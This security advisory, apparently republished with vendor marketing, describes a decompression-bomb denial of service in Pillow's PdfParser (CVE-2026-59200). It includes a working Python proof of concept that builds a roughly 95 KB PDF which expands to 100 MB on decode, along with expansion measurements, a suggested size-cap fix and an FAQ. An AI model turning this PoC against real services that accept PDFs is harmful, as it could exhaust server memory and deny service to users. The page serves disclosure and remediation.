Summary
Pillow: Decompression Bomb DoS via PdfParser.PdfStream.decode()
PdfParser.PdfStream.decode() in Pillow's PdfParser.py calls zlib.decompress() with the bufsize parameter set to the value of the PDF stream's Length field, without any upper bound on the actual decompressed output size. Python's zlib.decompress() bufsize argument is an initial output buffer hint, not a maximum size limit, the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses PdfParser to read untrusted PDF files.
Details
PdfStream.decode() in pdfminer/PdfParser.py reads the stream's declared Length (or DL) field from the PDF dictionary and passes it as bufsize to zlib.decompress():
# PIL/PdfParser.py, PdfStream.decode()
class PdfStream:
def decode(self) -> bytes:
try:
filter = self.dictionary[b"Filter"]
except KeyError:
return self.buf
if filter == b"FlateDecode":
try:
expected_length = self.dictionary[b"DL"]
except KeyError:
expected_length = self.dictionary[b"Length"]
return zlib.decompress(self.buf, bufsize=int(expected_length))
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
# bufsize is an *initial buffer hint*, NOT a maximum size limit.
# zlib.decompress() allocates as much memory as needed regardless.
From the Python documentation: "The bufsize parameter is used as the initial size of the output buffer." It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting Length to any value (including the actual compressed size) to avoid triggering format validation.
PdfParser is instantiated with a filename or file object and calls read_pdf_info() on open, which parses the xref table and makes stream objects accessible. PdfStream.decode() is reachable whenever calling code accesses a compressed stream object from the parsed PDF.
Confirmed reachable path:
with PdfParser.PdfParser("evil.pdf") as pdf:
stream_obj, _ = pdf.get_value(pdf.buf, stream_offset)
data = stream_obj.decode() # ← OOM here
PoC
import zlib, tempfile, os, time
from PIL import PdfParser
# Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale)
EXPAND_MB = 100
raw = b'\x00' * (EXPAND_MB * 1_000_000)
compressed = zlib.compress(raw, level=9) # ~97 KB
buf = b'%PDF-1.4\n'
o1 = len(buf); buf += b'1 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n'
o2 = len(buf); buf += b'2 0 obj\n<< /Type /Catalog /Pages 1 0 R >>\nendobj\n'
o3 = len(buf)
hdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode()
buf += b'3 0 obj\n' + hdr + b'\nstream\n' + compressed + b'\nendstream\nendobj\n'
xref = len(buf)
buf += b'xref\n0 4\n0000000000 65535 f \n'
for off in [o1, o2, o3]:
buf += f'{off:010d} 00000 n \n'.encode()
buf += b'trailer\n<< /Size 4 /Root 2 0 R >>\nstartxref\n' + str(xref).encode() + b'\n%%EOF\n'
print(f"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)")
with tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f:
f.write(buf); tmpname = f.name
with PdfParser.PdfParser(tmpname) as pdf:
obj, _ = pdf.get_value(pdf.buf, o3)
t = time.time()
decoded = obj.decode()
print(f"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s")
os.unlink(tmpname)
Actual output (Pillow 12.1.1, Python 3.12):
PDF size: 97,538 bytes (95.3 KB)
Decoded: 100,000,000 bytes in 0.265s
Measured expansion:
| PDF file size | Memory allocated | Ratio | Wall time |
|---|---|---|---|
| 10 KB | 10 MB | 1,026× | 0.024 s |
| 95 KB | 100 MB | 1,028× | 0.265 s |
| 475 KB | 500 MB | 1,028× | 1.279 s |
| 950 KB | 1,000 MB (1 GB) | 1,028× | 2.668 s |
Impact
This is a denial-of-service vulnerability. Any application that uses PIL.PdfParser.PdfParser to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required.
Note: This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion PIL/PdfImagePlugin.py decompression issue. It exists specifically in Pillow's own PdfParser.py module, which is distinct from pdfminer.six.
Suggested fix:
MAX_DECOMPRESS_BYTES = 200 * 1024 * 1024 # 200 MB cap
def decode(self) -> bytes:
...
if filter == b"FlateDecode":
...
result = zlib.decompress(self.buf, bufsize=int(expected_length))
if len(result) > MAX_DECOMPRESS_BYTES:
msg = "Decompressed stream exceeds maximum allowed size"
raise ValueError(msg)
return result
Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.
CVE-2026-59200 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (12.3.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-59200? CVE-2026-59200 is a high-severity uncontrolled resource consumption vulnerability in Pillow (pip), affecting versions >= 5.1.0, < 12.3.0. It is fixed in 12.3.0. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
- How severe is CVE-2026-59200? CVE-2026-59200 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of Pillow are affected by CVE-2026-59200? Pillow (pip) versions >= 5.1.0, < 12.3.0 is affected.
- Is there a fix for CVE-2026-59200? Yes. CVE-2026-59200 is fixed in 12.3.0. Upgrade to this version or later.
- Is CVE-2026-59200 exploitable, and should I be worried? Whether CVE-2026-59200 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-59200 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-59200? Upgrade
Pillowto 12.3.0 or later.